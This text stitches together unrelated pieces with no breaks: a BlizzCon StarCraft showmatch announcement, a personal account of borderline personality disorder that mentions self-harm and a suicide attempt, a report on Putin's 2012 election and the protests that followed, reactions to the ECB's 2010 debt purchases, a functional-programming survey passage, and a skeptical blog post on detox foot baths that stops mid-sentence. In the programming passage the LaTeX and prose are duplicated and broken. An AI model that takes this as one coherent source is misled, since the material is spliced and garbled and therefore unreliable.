"On the past purchases, the employee would come out of the store with the marijuana on his person which indicates he had it on his person while he was handling food," says Colarulo.With the World Championship Global Finals approaching fast, we’ve announced an exciting Archon showmatch that celebrates some of the most successful Archon teams playing today. And while we celebrate the champions of today, we also look to celebrate champions of the past. Enter the StarCraft Legends Archon Mode exhibition. On November 6, two of the most successful and well-known professional players from both StarCraft II and StarCraft: Brood War will pair up for the ultimate showmatch.
The first player representing the Zerg legends won three GSL championships during a two-year period and even had an award named in his honor due to his consistency and excellence. He is one of the most accomplished and innovative StarCraft II players of all time, Lim ‘NesTea’ Jae Duk. He will be joined by a former teammate whose aggressive play style earned him the nickname of ‘Storm Zerg.’ Reaching multiple finals during his career he has experience in premier tournaments that few players can match. Having won a StarCraft championship at the very first BlizzCon in 2005, beloved StarCraft: Brood War legend, Hong ‘YellOw’ Jin Ho will join NesTea and look to repeat that feat.
They’ll face a tough challenge as they take on two of the greatest Terran players of all-time. Jung ‘Mvp’ Jong Hyun is considered by many to be the greatest player in StarCraft II history. A four-time GSL champion, Mvp’s trophy case is filled with premier event titles. Now at BlizzCon 2015, he’ll have a chance to add another victory to his list of accomplishments. Joining him is a legend from StarCraft: Brood War, one of the most well-known esports players ever, and with good reason. His dominance during the rise of StarCraft as a competitive sport was unrivaled, and his reign continued for so long that many began to call him The Emperor—Lim ‘Boxer’ Yo Hwan will be joining Mvp to take on their Zerg opponents.
NesTea and YellOw versus Mvp and Boxer—a match featuring some of the greatest champions in gaming history. Now these legendary players will take the stage once again to usher in StarCraft II: Legacy of the Void. It all takes place at BlizzCon... and you definitely don’t want to miss it!
The StarCraft Legends showmatch is part of the Archon Mode exhibition from 6:30 p.m. to 9:30 p.m. PST on Friday, November 6 at BlizzCon in Anaheim, California.Trigger warning: this post discusses self harm and suicide. I try to be as honest as possible in this post, recognising that some of what I say may be confronting for people who aren’t used to this kind of mental illness. I also highly recommend reading this guide by SANE Australia, which I found extremely helpful when I was diagnosed.
“Don’t date a borderline, they will ruin your life. They’re manipulative and they can’t feel empathy. They will take everything from you and then leave you destroyed, before moving on to ruin their next life”. This is a common sentiment that you will find on internet forums if you go searching for information or advice about borderline personality disorder (BPD). This can be truly discouraging for someone like me who already suspects that they may be a bad person, when you realise that so many people on the internet truly hate people with your disorder. I definitely understand that undiagnosed borderlines who do not keep tabs on their behaviour can be capable of horrible things, like I have done firsthand, but we are not evil. People with BPD have usually developed the disorder because of childhood trauma or not being taught how to process emotions properly during formative years. Our behaviour comes from a very painful place, not from a place of malicious intent.
When I feel like I am losing control of my emotions, I get a rush of white noise in my ears, and my heart feels like it is being squeezed as hard as possible from the inside of my chest. I’m often crying, not from the negative emotions, but from the extreme pain that they cause within my body. I scrunch my body up really tight to try and contain the explosion and if I don’t focus on keeping my hands open, I inevitably scratch and claw at my inner arms. I have an excruciating impulse to smash my head against the wall. I often can’t make any noise, and if it escapes, it bursts out of me like some sort of inhuman shriek. Sometimes I writhe and thrash and sometimes I have to be physically restrained by my partner for protection. While this happens, I truly believe that I am at the very least losing my mind, if not dying. Luckily this has only happened to me once in public, but countless times in my own home. At my lowest point it was happening every day or so. Currently I can go about a week or two without losing control of myself.
This can be triggered from something as small as my boyfriend being slightly annoyed with me, which my brain interprets as him hating me and never wanting to be around me again. The rational part of my brain is still awake and trying to tell me the truth, but the irrational part of my brain starts screaming at me that I am worthless and unloveable. This is what it’s like to have BPD: to be completely aware that you are being irrational and yet being entirely consumed by tumultuous emotions.
I thought I just had depression and anxiety for a really long time, but it never fully explained the way that I reacted to things. Once, when my friend was upset with me and wouldn’t reply to my messages, I tried to call her 20 times in a row, desperately crying the entire time I was dialling. I have such an intense fear of abandonment that any fight, or even a small argument, feels like the end of the relationship for me. Although I put so much energy into not being emotionally manipulative, I truly believe that I have a greater capability for it than other people. My brain tells me to say something, anything, to avoid the crushing weight of impending abandonment. I constantly feel like I am at war with two voices in my mind.
I suspected that I had bipolar disorder for quite a long time because of my rapid mood changes and persistent patterns of deep depression. I also go through what I describe as a ‘manic’ phase most nights still. This consists of anywhere from one hour to several hours where I feel like I can’t calm down. I feel like I have overwhelming restless energy, I can’t concentrate on anything and I feel an overwhelming rush of nausea and nervous energy in the pit of my stomach. The difference is that with bipolar, these manic episodes can last anywhere from days to weeks.
People with borderline personality disorder exhibit most, if not all, of these following symptoms.
Fear of abandonment. As I previously described, my fear of abandonment is ever-present in my life. I have been emotionally abandoned by a few close friends in my life who were unable to cope with my extreme emotional states and self-destructive behaviour. I am constantly paranoid and vigilant within romantic relationships, believing that any wrong move will make my boyfriend want to break up with me or stop loving me.
Black and white thinking. In the BPD world, we refer to this as splitting. It’s common for us to put loved ones on a pedestal and believe them to be perfect and incapable of wrongdoing. However, if someone that I care about does something that I perceive to be ‘wronging’ me, I can often feel cold, distant and angry towards them within seconds. It can take a lot of vigilance on my part to identify when my reaction exceeds a reasonable emotional response.
Uncertain identity. I remember the first time that I saw my face in a mirror, I was disappointed and confused. It just didn’t match up with what I saw in my mind’s eye. When I am going through a particularly depressive period, I struggle to feel emotionally connected to the woman that I see in the mirror. I also struggle to feel any emotional attachment to memories that I have beyond at most a year ago. They feel like they happened to a different version of me.
Impulsiveness. I’ve been clean from drugs for about eight months now. I never had an addiction, I just didn’t feel like I could stop when I started. I would go out partying and it just never felt like enough. No matter how much I consumed in a single night, I always felt like I needed another pill or another line to feel even better. Inevitably, the comedown would drag me into the pits of hell of my brain and make me feel dangerously suicidal. I also used to be a huge binge drinker and engaged in self-destructive sexual behaviour on a regular basis.
Suicidal or self-harming behaviour. I have self harmed since the age of 15. I was always prone to scratching my arms or smashing my head against the wall, which luckily don’t leave marks or scars on my body. 7 out of 10 people with BPD will attempt suicide in their lifetime, which is also a statistic which I am part of. I attempted to take my own life in October last year and I am forever grateful that I got the help that I needed.
Feelings of emptiness and emotional surges. When I am left alone without any distractions, I feel empty and dead inside. Sometimes I truly believe that I am not a human being. When I do feel, the emotions are so overpowering that I feel like I am dying, as I described before. It can be really exhausting to fluctuate so wildly almost every day. These emotional surges are also often expressed as huge outbursts of anger in people with BPD, which luckily is a symptom that I do not live with.
Disassociation. Disassociation is what is more commonly known as an ‘out of body’ experience. Some people with BPD experience this intensely, where they don’t remember things that they have done. I experience emotional disassociation. When I am upset and my emotions are too much for me to handle, sometimes I push them so far down that I can’t feel them or really anything anymore. At those times I feel like I am floating just above my head, still alive but not attached to myself.
I wrote this post to try and give some insight into a little-known and highly stigmatised disorder that I unfortunately live with. I don’t write this to seek sympathy or simply for attention for myself. I felt truly lost when I was diagnosed and felt like I didn’t know anyone like me who felt things the way that I do. I truly believe that only with education can we break down barriers to understanding mental illness.
If this article has raised any issues for you, please contact your mental health professional, or if you are in Australia, the number for Lifeline is 13 11 14.Vladimir Putin did not wait long to celebrate. At eleven o’clock on Sunday night, just three hours after the polls in Moscow had closed, he stood outside the gates of Red Square and addressed a crowd of 100,000 people -- many of whom, reports would later reveal, had been bussed in from outside the city or been paid as little as 300 rubles (about ten dollars) to attend. By the final days of his campaign, Putin had begun to present his attempt to return to the Kremlin not so much as a contest for a particular political office but as an almost militarized battle for the future of the country. “We are a victorious people! It is in our genes, in our genetic code!” he said at a rally in Moscow’s Luzhniki Stadium on February 23. And in his speech on Sunday, he resurfaced similar rhetoric, saying, “I promised you we would win, and we won.” He went on, “We proved that no one can force anything on us.”
With such language, Putin returned to the idea that has undergirded his reign for the past 12 years. As he likes to present it, the choice has never been between him and, say, Gennady Zyuganov, the longtime head of the Communist Party, who first ran for president in 1996, or between him and Mikhail Prokhorov, the billionaire owner of the New Jersey Nets, who entered the race in December. Rather, the choice has been between Putin and chaos, between Putin and the abyss. In other words, there is no real choice at all -- Putin is a politician above politics.
What has made Russian political life interesting for the first time in years is that this façade of omnipotence has begun to show cracks. After parliamentary elections in December were marred by gross falsification, the country’s urban professional class underwent a political and civic reawakening, a process I chronicled in an article for Foreign Affairs last week ("The People Vs. Vladimir Putin"). For the first time in a decade, there seemed to be a hope -- however amorphous -- that an actual, workable alternative to Putinism could emerge, even as the Kremlin kept any serious challengers off the presidential ballot and maintained its claustrophobic control over politics.
On the surface, the events of the last days in Moscow look like setbacks to the momentum of that hope. First came Putin’s nominally overwhelming victory -- 63 percent, officially -- on Sunday and his triumphant, almost goading victory speech that night. Putin seemed like a man who actually believed in the virtuousness of his accomplishment, a worrying sign for those who hoped that he might make some concessionary reforms. Then, the next day, an opposition protest at Moscow’s Pushkin Square drew around 20,000 people -- an impressive crowd for an icy Monday night, but far fewer than the 100,000 people that came to Bolotnaya Square or Sakharov Street in December and February.
What’s more, the mood at Pushkin Square was darker than the celebratory, almost carnival atmosphere that marked the earlier mass demonstrations, with little of the rich sense of humor that had come to define the Russian opposition movement in recent months. “Yes, the mood became more radical,” Vladimir Ryzhkov, a former Duma deputy and now a leading figure in the opposition, told me. “If there was hope in December that the state might engage in some sort of dialogue or negotiations, we now understand that the authorities are simply ignoring our demands.”
Adding to the tension on Monday night, and the change in mood, was the fact that Moscow was on military-style lockdown, with armored troop carriers and battalions of riot police blocking off much of the city center; a report in the newspaper Novaya Gazeta said that one-quarter of all the country’s special police brigades were now in the capital. In a way, this revealed the Kremlin’s paranoia. Just before Monday’s rally began, Boris Nemstov, a longtime liberal politician, told me that the protest was “already successful, judging by the amount of armored troops that are here, by the amount of riot police.” As he put it, “It appears like they’re afraid of us like a fire.”
But whether the demonstration was in fact a success remains unclear, and so does the future of the Russian opposition. In the days leading up to the election, the protest movement’s main star, the blogger and anticorruption activist Alexei Navalny, had called for escalated civil disobedience, including telling people to go out into the streets of Moscow and “not leave.” He repeated that exhortation from the stage on Monday. And when Sergei Uldatsov, the firebrand leader of the Left Front, had his turn to speak, he called for an outright occupation of Pushkin Square. When the protest ended, nearly everyone headed home, but a group of several hundred people, led by Navalny and Uldatsov, stayed behind, taking up a position near the fountain in the center of the square. After an hour, riot police roughly ejected everyone from the square, arresting more than 200.
Navalny would later call the decision to remain at Pushkin Square an “experiment” meant to test the public’s appetite for escalated forms of civil disobedience. The results, at least to judge from the small number who stuck around, suggest that the majority of the middle-class professionals who make up the critical mass of the protest movement do not have much of an appetite for facing off against the police.
That leaves the opposition in something of a tough spot: in one sense, escalation in both thought and deed is the logical next step, since the Kremlin seems content to simply wait the opposition out, granting approval for protest after protest while ignoring their real demands. But at the same time, any escalation could well prove counterproductive, sapping the opposition movement of the tens of thousands of people who were drawn to the optimism and hope (and, it should be said, safety) of earlier rallies. And if that is the direction in which the protest movement heads, it may well return to the days of the so-called Strategy 31 of 2009–10, when several hundred people would gather on the 31st day of every month in Moscow’s Triumfalnaya Square, only to be shoved, beaten, and arrested by the police. It was a righteous, committed group -- but one whose numbers were limited.
Then there is the question of Sunday’s vote itself. One of the most impressive efforts of the opposition in the weeks before the presidential vote was the registration and training of thousands of volunteer election monitors. The majority of observers were deployed to polling stations in Moscow, and their presence meant that the authorities could not fake the electoral results in the capital with the same crude methods they had used in December, when they heavily padded the results for United Russia, the country’s docile pro-Kremlin party. The authorities employed more slippery techniques this time, such as so-called carousels of voters that traveled from one polling place to another by hired bus.
Nonetheless, the blanketing of Moscow and other large cities by observers, combined with the fact that Putin himself is much more popular than United Russia as a party, meant that the overall level of falsification, although still severe, was lower than it was in December. On Wednesday, the League of Voters, a civic group formed by a handful of notable journalists and other public figures, announced that its own analysis of the vote suggested that even with “systemic” fraud, Putin won with 53 percent. Meanwhile, Golos, perhaps Russia’s most respected electoral monitoring group, put Putin’s victory at 54 percent.
In other words, whereas an honest and proper counting of the ballots from the December parliamentary election would have stripped United Russia of its majority in the Russian Duma, a similar tally of the votes cast in Sunday’s presidential election would have likely seen Putin still win in the first round with more than 50 percent support. Of course, that does not account for the overwhelming monopoly of power Putin wields over the political system and his refusal to allow even the most elementary forms of political competition. But overcoming those systemic advantages involves a harder, much more protracted fight, and one that is less easy to rally people around in the short term than an openly stolen election that effectively turned a minority into a majority.
What seems clear to all is that the protests have entered into a new and uncertain period. This week, Boris Akunin, a popular author of detective fiction who has emerged as a sort of moral conscience of the Russian opposition (and is a founding member of the League of Voters), told me that “the three-month euphoria” is over, along with “any illusion that this regime could be changed by peaceful protest alone.” Things may get quieter for a while, he said, not because of “the capitulation of the opposition, but because of an internal, psychological reconfiguration to a different form of action.”
What exact form that action may take may well begin to emerge on Saturday, when protest organizers have received approval from the mayor’s office for another large-scale demonstration in downtown Moscow, this time on the commercial thoroughfare of the Novy Arbat. The coming fight for political representation, Akunin said, will be “long and hard, and without any white ribbons or balloons.”The European Central Bank, in a stunning change of position, said Sunday night it will buy government and private debt on “dysfunctional” European markets as part of a concerted show of force by European authorities to persuade financial markets that they are, in fact, responding to the spreading sovereign debt crisis in the euro zone. http://www.ecb.int/press/pr/date/2010/html/pr100510.en.html
Here’s some early reaction:
Marco Annuniziata, UniCredit Group
“Even with Portugal and Spain announcing further fiscal adjustment measures in the coming days, it will be hard not to see this as a loss of credibility and independence for the ECB. The ECB has stated that the interventions in the secondary market will be sterilized, so that the measures will not affect the stance of monetary policy. It argues that these purchases are aimed at correcting market distortions rather than easing overall monetary conditions, and stresses that they have been agreed also in light of the commitment by member states to take all necessary measures to meet their fiscal targets. Liquidity has indeed declined sharply in some of the sovereign bond markets, and ECB bond purchases at this stage can also be seen as a preventive measure: while current spreads on Portuguese and Spanish bonds currently do not look greatly out of line with fundamentals, market movements in the last few days had highlighted the risk that self-fulfilling panic might set in, and the ECB needed to be ahead of the market. In the short term, the ECB’s intervention will be a crucial element of the package, bringing immediate relief; the longer term implications however could be extremely detrimental. Much will depend on whether or not Eurozone governments quickly follow through on their pledge to accelerate fiscal consolidation efforts: if they do, the ECB might still be able to argue that it has offered temporary support to offset impending market dislocations; if they do not, it will be hard for the ECB to fight off the charge of monetizing excessive fiscal deficit. So far, however, no strengthening of fiscal discipline mechanisms has been agreed, and all we have is the commitment to enforce the procedures and sanctions of the Stability and Growth Pact—which unfortunately has a rather dismal track record.”I’m going to preface this with |
shows an advantage of structuring programs using general functional forms.). This has attracted a lot of work in developing programming theories to parallelize |$\mathit {foldr}$| [ |$\mathit {foldr}\; op\; e$| can be parallelized as a composition of a map and a reduce if and only if there exists op′ such that the following holds: \begin{equation*} \mathit {foldr}\; op^{\prime }\; e = \mathit {foldr}\; op\; e \circ \mathit {reverse} \end{equation*} Just likebeing the most important higher order function for manipulating lists sequentially,plays the most important role in parallel processing of lists. If we can parallelizeas a parallel program using, we can parallelize any sequential function that is defined in terms of(This again shows an advantage of structuring programs using general functional forms.). This has attracted a lot of work in developing programming theories to parallelize 105–108 ]. One known theorem for this parallelization is the so-called third homomorphism theorem [ 109 ], which shows thatcan be parallelized as a composition of a map and a reduce if and only if there exists opsuch that the following holds:
In other words, this theorem says that a foldr is parallelizable if and only if can be written as a foldr on its reverse list. With this theorem, we can see that many of the functions defined in the section entitled ‘Functional forms’, such as |$\mathit {sum}$|, |$\mathit {sort}$|, |$\mathit {maxlist,}$| and |$\mathit {reverse}$|, can be parallelized as a composition of a map and a reduce. Importantly, this parallelization is not just a guide to programmers but also can be done automatically [110].
Easy parallelization
Purely functional languages have advantages when it comes to (implicit) parallel evaluation [111,112]. Thanks to the absence of side effects, it is always safe to execute computations of subexpressions in parallel. Therefore, it is straightforward to identify the parallel task in a program, which would require complex dependency analysis when parallelizing imperative programs.
|$\mathit {pseq}$| and |$\mathit {par}$| for parallelization: |$\mathit {pseq}\; e_1\; e_2$| evaluates e 1 then e 2 in a sequential order, and |$\mathit {par}\; e_1\; e_2$| is a kind of fork operation, where e 1 is started in parallel with e 2 and the result of e 2 is returned. Consider the following normal Haskell function that implements the well-known Quicksort algorithm: \begin{equation*} \begin{array}{llll}\mathit {sort}\; [\,] = [\,]\\ \mathit {sort}\; (x:xs) = \mathit {less} \,{+\!\!+}\, [x] \,{+\!\!+}\, \mathit {greater}\\ \quad \mathbf {where}\; \\ \qquad \mathit {less} = \mathit {sort}\; [ y \; |\; y \leftarrow xs, y<x ]\\ \qquad \mathit {greater} = \mathit {sort}\; [ y \; |\; y {\leftarrow} xs, y \ge x ]\\ \end{array} \end{equation*} Parallel Haskell provides two operatorsandfor parallelization:evaluates ethen ein a sequential order, andis a kind of fork operation, where eis started in parallel with eand the result of eis returned. Consider the following normal Haskell function that implements the well-known Quicksort algorithm:
|$\mathit {greater}$| is computed in parallel with |$\mathit {less}$| by wrapping the original expression |$\mathit {less} \,{+\!\!+}\, [x] \,{+\!\!+}\, \mathit {greater}$| with |$\mathit {par}\; \mathit {greater}$| and |$\mathit {pseq}\; \mathit {less}$|. \begin{eqnarray*} \begin{array}{llll}\mathit {parSort}\; [\,] = [\,]\\ \mathit {parSort}\; (x:xs) = \\ \quad \underline{\mathit {par}\; \mathit {greater}}\; (\underline{\mathit {pseq}\; \mathit {less}}\; \\ \qquad (\mathit {less} \,{+\!\!+}\, [x] \,{+\!\!+}\, \mathit {greater}))\\ \quad \mathbf {where}\; \\ \qquad \mathit {less} = \mathit {parSort}\; [ y \; |\; y \leftarrow xs, y<x ]\\ \qquad \mathit {greater} = \mathit {parSort}\; [ y \; |\; y \leftarrow xs, y \ge x ]\\ \end{array} \end{eqnarray*} |$\mathit {sort}$| when the number of elements of list is shorter enough. \begin{eqnarray*} \begin{array}{llll}\mathit {parSort}\; [\,] = [\,]\\ \mathit {parSort}\; l@(x:xs) \\ \quad |\; \underline{\mathit {shorter}\; l \; =\; \mathit {sort}\; l}\\ \quad |\; \mathit {otherwise}\; =\; \\ \qquad \quad \underline{\mathit {par}\; \mathit {greater}}\; (\underline{\mathit {pseq}\; \mathit {less}}\; \\ \qquad \qquad (\mathit {less} \,{+\!\!+}\, [x] \,{+\!\!+}\, \mathit {greater}))\\ \quad \mathbf {where}\; \\ \qquad \mathit {less} = \mathit {parSort}\; [ y \; |\; y \leftarrow xs, y<x ]\\ \qquad \mathit {greater} = \mathit {parSort}\; [ y \; |\; y \leftarrow xs, y \ge x ]\\ \end{array} \end{eqnarray*} The following parallel version is just a little more complicated (with addition of the underlined codes);is computed in parallel withby wrapping the original expressionwithandWe can further control the granularity of the parallel task by switching to the normalwhen the number of elements of list is shorter enough.
It is worth noting that parallel functional programs are easy to debug. Regardless of the order in which computations are executed, the result of the program will always be the same. Specifically, the result will be identical to that obtained when the program is run sequentially. This implies that programs can be debugged sequentially, which represents a huge saving in effort.
Distributed functional programming
Distributed systems, by definition, do not share memory between nodes (computers)—which means that the imperative approach to parallel programming, with shared mutable data structures, is inappropriate in a distributed setting. Instead, nodes communicate by copying messages from sender to receiver; copying a mutable data structure changes semantics, because mutation of one copy is not reflected in the other, but immutable data can be copied transparently. This makes functional programming, with its immutable data structures, a natural fit. For systems which are designed to be scalable, in which overall system performance can be increased just by adding more nodes, it makes sense to use the same share-nothing communication between processes running on the same node, so that they may easily be deployed across multiple nodes as new nodes are added. Distributed systems can also offer high reliability, by using redundancy to tolerate failures, and in-service upgrade, by upgrading one node at a time while the others continue to deliver service.
Erlang was designed at Ericsson in the late 1980s for building systems of this kind, originally for the telecom domain [113]. Later, Erlang proved to be ideal for building scalable internet services, and many start-ups have used it as their ‘secret sauce’. The first of these was Bluetail AB, founded in 1998 to develop among others an SSL accelerator in Erlang, and sold for $140 million less than 18 months later; the most spectacular to date is WhatsApp, whose back-end servers are built in Erlang, and sold to Facebook in 2014 for $22 billion.
\begin{eqnarray*} \begin{array}{llll}\mathit {fac} (0) \rightarrow 1;\\ \mathit {fac} (N)\; \mathbf {when}\; N > 0 \rightarrow N * \mathit {fac} (N-1) \end{array} \end{eqnarray*} Erlang is a simple functional language with a slightly wordier syntax than Haskell; the factorial function defined in the introduction would be written in Erlang as follows: Erlang provides immutable lists and tuples, and LISP-like atoms, but no user-defined datatypes. Erlang lacks a static type system (Although many developers use Dialyzer [ 114 ], a static analysis tool that can detect many type errors.)—a reasonable choice since dynamic code loading, necessary for in-service upgrades, is difficult to type statically to this day.
To this functional core, Erlang adds features for concurrency and message passing. For example, Fig. 2 presents a (not very efficient) parallel version of QuickSort in Erlang. This function uses pattern matching on lists to select between the case of an empty list and a cons (|$\mathit {[X|Xs]}$| means |$x:\mathit {xs}$|), and in the latter case uses list comprehensions to select the elements less than or greater than the pivot, then |$\mathit {spawn}$|s two new processes to sort each sublist recursively. Spawning a process calls the function provided (as an Erlang λ-expression, fun() → …end) in the new process. Each of these processes sends the result of its recursive sort back to the parent process (|$\mathit {Parent}\;!\; \ldots$|), using the parent's process identifier, which is obtained by calling |$\mathit {self}()$|. Each result is tagged with an atom (|$\mathit {less}$| or |$\mathit {grtr}$|), which allows the parent process to receive the results in the correct order—messages wait in the recipient's ‘mailbox’ until a matching receive removes them from it, so it doesn't matter in which order the messages from the child processes actually arrive. Erlang processes share no memory—they each have their own heap—which means that the lists to be sorted must be copied into the new process heaps. This is why we filter |$\mathit {Xs}$| to extract the less and greater elements before starting the child processes: it reduces the costs of copying lists. The advantage of giving each process its own heap is that processes can garbage collect independently while other processes continue working, which avoids long garbage collection pauses and makes Erlang suitable for soft real-time applications.
Figure 1. View largeDownload slide Code fragments in three EDSLs.
Figure 1. View largeDownload slide Code fragments in three EDSLs.
Figure 2. View largeDownload slide Parallel QuickSort in Erlang.
Figure 2. View largeDownload slide Parallel QuickSort in Erlang.
Erlang adds mechanisms for one process to monitor another, turning a crash in the monitored process into a message delivered to the monitoring one. These mechanisms are used to support fault tolerance, with a hierarchy of supervisor processes which are responsible for restarting subsystems that fail; indeed, Erlang developers advocate a ‘let it crash’ approach, in which error-handling code (which is often complex and poorly tested) is omitted from most application code, relying on the supervisors for fault tolerance instead. Common patterns for building fault-tolerant systems are provided in the ‘Open Telecom Platform’ libraries—essentially higher order functions that permit fault-tolerant systems to be constructed just by instantiating the application-dependent behaviour.
Erlang's approach to concurrency and distribution has been very successful, and has been widely emulated in other languages—for example, Cloud Haskell [115] provides similar features to Haskell developers. One of the best known ‘clones’ is the Akka library for Scala [15], which is used among others to build Twitter's back-end services.
FUNCTIONAL THINKING IN PRACTICE
Functional programming has had big influences on education and other language design, and seen significant uses in industry.
Education
The style of teaching functional languages as first languages was pioneered by MIT in the 1980s, where functional language scheme was taught in the first course using the famous textbook Structure and Interpretation of Computer Programs [116]. Now many universities such as Oxford (Haskell) and Cambridge (ML) follow this functional-first style. In a recent survey (http://www.pl-enthusiast.net/2014/09/02/who-teaches-functional-programming/), 19 out of top 30 American universities in the US News 2014 Computer Science Ranking give their undergraduate students a serious exposure to functional languages. Compared to the other programming-first implementations, the functional-first approach has the advantages of reducing the effect of diversity of students in background, letting students focus on more fundamental issues, think more abstractly, and touch ideas of recursion, data structure, functions as first class data earlier. In fact, one of the explicit goals of Haskell's designers was to create a language suitable for teaching. Indeed, almost as soon as Haskell was defined, it was being taught to undergraduates at Oxford and Yale.
For learning the latest advanced functional programming techniques, there has been an excellent series of International Summer Schools on Advanced Functional Programming since 1995. Five such summer schools have been held so far in 1995, 1996, 1998, 2002, and 2004, with all lecture notes published in Lecture Notes in Computer Science by Springer. For the new applications of functional programming, there has been another series of Summer Schools on Applied Functional Programming organized by Utrecht University since 2009. The two-week course covers applications of functional programming, concentrating on topics such as language processing, building graphical user interfaces, networking, databases, and programming for the web.
For exchanging ideas of functional programming in education, there is a series of International Workshops on Trends in Functional Programming in Education since 2012, where novel ideas, classroom-tested ideas, and work in progress on the use of functional programming in education are discussed among researchers and teachers. They have previously been held in St Andrews, Scotland (2012); Provo Utah, USA (2013); and Soesterberg, the Netherlands (2014).
Influences on other languages
Ideas originated from functional programming such as higher order functions, list structure, type inference, etc. have made their way into the design of many modern programming languages, unleashing influences in an unostentatious manner. It is well conceivable that ‘main stream’ programmers may be using functional features in their code without realizing.
One of the early examples of such is blocks in Smalltalk—a way of expressing lambda expressions and therefore higher order functions. More recently, the development of C# is influenced by functional programmers working in Microsoft. The LINQ features are directly inspired by monads and functional lists. Lambda expressions are introduced in C# 3.5, but higher order programming had been possible earlier on through delegates. Type inference is part of C#'s design and generics (polymorphism) are added in C# 2.0.
Java's generic type system introduced in Java 5 is based on ML's Hindley–Milner type systems. Subsequent releases gradually introduced type inference, another feature that is usually associated with functional languages. Java 8 embraced functional programming by releasing a wealth of features that specifically aimed at facilitating such a programming style. It includes dedicated support for lambda expressions and the passing of functions as method arguments (i.e. higher order functions), which is further made easy by the new feature of method references.
C++ aboards the lambda expression train in C++11. A particular merit of this C++ feature, as opposed to lambdas in other imperative languages, is that it offers fine-grained control over variable capture. Programmers are able to declare in their definitions whether the lambda bodies may refer to external variables (variables that are not formally declared as parameters) by value, by reference, or not at all—a step towards purity.
Modern multiparadigm languages often have good provision of functional features. Ruby is admitted by its inventor as having Lisp as its origin and blocks at its core. Additional lambda syntax is added in Ruby 1.9. Python adopted the list comprehension notation and has support for lambda expressions. The Python standard library includes many functional tools imported from Haskell and Standard ML. Scala is an object-functional language that has full support for functional programming. In addition to a strong static type system, it also features currying, type inference, immutability, lazy evaluation, and pattern matching.
Meijer's reactive extensions (‘RX’) [117] enable.NET developers to manipulate asynchronous data streams as immutable collections with purely functional operations defined over them. RX simplifies the construction of event-driven reactive programs dramatically. The design has been copied in many other languages, perhaps most notably at Netflix, where RxJava is heavily used in the Netflix API.
Uses in industry
It has often proven easier to adopt functional programming in small, new companies, rather than in large, existing software development organizations. By now, there have been many, many start-ups using functional programming for their software development. One of the first was Paul Graham's Viaweb, which built a web shop system in Lisp, and was later sold to Yahoo. Graham's well-known article ‘Beating the Averages’ (http://www.paulgraham.com/avg.html) discusses Lisp's importance as Viaweb's ‘secret weapon’. He writes of studying competitors’ job adverts: ‘The safest kind were the ones that wanted Oracle experience. You never had to worry about those. You were also safe if they said they wanted C++ or Java developers....If I had ever seen a job posting looking for Lisp hackers, I would have been really worried.’
The first company to use Haskell was Galois, who develop ‘high assurance’ software, primarily under government contracts. Galois develop their code in Haskell—which in itself helps to ensure quality—but also use property-basedOne of the most reliable indicators of a quack clinic that I know of (besides its offering homeopathy and reiki) is the inclusion of “detox foot bath” treatments on its roster of services. Detox foot baths, whatever the brand, are of a piece with other “detoxification” pseudoscience involving the feet, such as Kinoki foot pads. Basically, the idea is that you can some how remove toxins through the soles of your feet using either a nice mineral bath with a weak electrical current passed through it or a foot pad. Inevitably, nasty looking stuff is seen apparently coming out of the feet. In the case of the foot pads, it’s in the form of some sort of brownish black stuff on the pad; in the case of the footbath, the water turns brown. These color changes are presented as evidence that “toxins” have been pulled from the body through the soles of the feet, and those selling these devices make videos like this:
It’s all utter nonsense, of course. Indeed, “detox” foot pads and foot baths are among the very silliest treatments used in alternative medicine there are. First, the skin on the soles of the feet is thing and relatively impermeable, covered as it is with a layer of cells and keratin. But what about the color change? For the “detox footbath,” that’s easy. As I’ve described on more than one occasion, thanks to the minerals in the water and some basic physics and chemistry of electrolysis that lead to the corrosion of the electrodes, the water will change color whether feet are in the bath or not. Similarly, I’ve described how “detox footpads” turn black when exposed to warm moisture like steam (or like the bottoms of stinky feet). “Foot detox,” whether due to detox foot pads or detox foot baths, are a brilliant scam to bilk the gullible.
No wonder the merry band of antivaccine quacks and propagandists over at that wretched hive of scum and antivaccine quackery Age of Autism like it enough to advertise—get this!—a clinical trial of the IonCleanse System from A Major Difference (AMD). I’ve mentioned this system before and how AMD has jumped feet first (if you’ll excuse the term) into autism quackery. I learned of this “clinical trial” from AoA yesterday in this post about Therapy House LLC Clinical Trial Enrolling Participants in Pittsburgh for IonCleanse. I took a look at the protocol. Let’s just say that it’s not exactly rigorous, as you’ll see. First, however, see the genesis of this study. First AMD brags about having sold over 13,000 units in 39 countries, demonstrating once again that gullibility knows no nationality. Then, we learn:
In December of 2014, AMD was approached by The Thinking Moms’ Revolution to do a parent evaluation of the IonCleanse by AMD as it relates to children with ASD. The first of the 2-part study completed in April of 2015. This evaluation proved enormously successful and has paved the way for a wave of interest in the autism community.
Ah, yes, the Thinking Drinking Moms’ Revolution (TMR), that coffee klatch of affluent suburban women who love wine and quackery (including homeopathy) but really, really hate vaccines. No wonder they like the IonCleanse footbath. Rather amusingly, the “first of the 2-part” study referred to above was not published in anything resembling a peer-reviewed biomedical journal. Rather, it was posted on the TMR blog as The Thinking Moms’ Revolution Study – IonCleanse® by AMD Treatment Effectiveness for ASD.
Basically, from what I can tell, this “part one” was a single arm “study” (I really, really have to use scare quotes, because what TMR posted and a real clinical study are related only by coincidence), unblinded, with repeated measures. There’s nothing resembling a statistical analysis. I was half-tempted to show this post to one of our statisticians at the cancer center, but I decided that I didn’t want to cause harm by inducing relentless, unstoppable laughter that could cause her to pass out, particularly at the part that says:
The efficacy of treatments using ionic detoxification footbath technology has been validated through the TMR-ATEC Survey. Observed results, combined with mathematical analysis, have shown clearly that detoxification is an essential element in the autism recovery process.
And:
These results establish high confidence that continued use of the IonCleanse® Detoxification Footbath System can be used as an effective tool in the treatment of Autism Spectrum Disorder (ASD).
Um, no. It shows nothing of the sort. Moreover, this new study is not likely to show anything of the sort either. For instance:
Of the 30+ participants, 50% will be randomly selected to receive the IonCleanse by AMD sessions, and 50% will be part of the control group that will receive no therapy. Pre and post evaluations will be performed for all 30 participants, and the evaluators will be blind as to which children received treatment and which did not. The parents of the children and the children cannot be blinded as they will observe the water which may change color during actual therapy. The blinding of the evaluators as to the therapy/no therapy should be sufficient to assure a valid conclusion. Each patient will have total of 32 treatments. The pre-evaluation testing will be done within 7 days of beginning therapy and post-evaluation will be completed with 7 days of the last treatment. After 60 days, success will be considered a significant reduction in ASD symptoms as determined by a repeat of the entry requirements assessment and a comparison of the treated patients to the control patients. For purposes of this study a greater than 25% overall reduction ASD symptoms will be clinically significant.
But how will this be determined? Thusly:
